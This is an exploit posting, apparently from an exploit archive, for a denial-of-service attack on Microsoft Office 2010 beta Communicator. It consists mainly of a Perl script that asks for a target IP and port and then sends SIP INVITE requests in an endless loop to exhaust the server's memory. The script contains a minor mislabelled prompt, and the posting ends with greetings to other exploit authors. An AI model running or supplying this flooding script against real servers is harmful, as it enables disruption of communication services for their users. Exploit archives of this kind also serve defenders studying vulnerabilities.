Microsoft Office 2010 Beta - Communicator SIP Denial of Service

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| # Title    : Microsoft Office ( 2010 beta ) Communicator SIP denial of service Exploit
| # Author   : indoushka
| # email    : [email protected]
| # Home     : www.iqs3cur1ty.com/vb
| # Tested on: windows SP2
| # Bug      : Denial of service Exploit
======================      Exploit By indoushka       =================================
 # Exploit  :

#!usr/bin/perl
#######################################################################################################################
#    Microsoft Office 2010 Communicator allows remote attack to cause a denial of service (memory consumption) via    #
#    a large number of SIP INVITE requests.                                                                           #
#######################################################################################################################


use IO::Socket;

print("\nEnter IP Address of Target Server: \n");
$vuln_host_ip = <STDIN>;
print("\nEnter IP Address of Target Server: \n");
$port = <STDIN>;

$sock_sip = IO::Socket::INET->new(    PeerAddr => $vuln_host_ip,
                                     PeerPort => $port,
                                     Proto    => 'udp') || "Unable to create Socket";
#if the server is configured on TCP replace 'udp' with 'tcp'.

while(1)
{
print $sock_sip "INVITE sip:arpman.malicious.com SIP/2.0\r\nVia: SIP/2.0/UDP 172.16.16.4;branch=123-4567-900\r\n";

}

#program never comes here for execution

close($sock_sip);

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Greetz :
Exploit-db Team :
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R (http://www.ilegalintrusion.net/foro/)
Cyb3r IntRue (avengers team) * The globin * Virus_Hima
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